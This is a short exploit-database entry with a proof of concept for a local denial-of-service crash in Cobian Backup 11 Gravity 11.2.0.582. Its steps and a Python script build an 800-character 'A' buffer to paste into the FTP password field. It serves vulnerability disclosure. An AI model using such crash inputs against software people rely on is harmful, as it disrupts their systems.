[local] Cobian Backup 11 Gravity 11.2.0.582 - 'Password' Denial of Service (PoC)

# Exploit Title: Cobian Backup 11 Gravity 11.2.0.582 - 'Password' Denial of Service (PoC) # Discovery by: Luis Martinez # Discovery Date: 2022-02-16 # Vendor Homepage: https://www.cobiansoft.com/ # Software Link: https://files.cobiansoft.com/programs/cbSetup.exe # Tested Version: 11.2.0.582 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS: Windows 10 Pro x64 es # Steps to Produce the Crash: # 1.- Run python code: Cobian_Backup_11.2.0.582.py # 2.- Open Cobian_Backup_11.2.0.582.txt and copy content to clipboard # 3.- Open "Cobian Backup 11 Gravity User Interface" # 4.- Task -> "New task" # 5.- File -> Source "Add" -> FTP # 6.- Host -> 10.10.10.10 # 7.- Port-> 21 # 8.- User name -> admin # 9.- Paste ClipBoard on "Password" # 10.- Ok # 11.- Crashed #!/usr/bin/env python buffer = "\x41" * 800 f = open ("Cobian_Backup_11.2.0.582.txt", "w") f.write(buffer) f.close()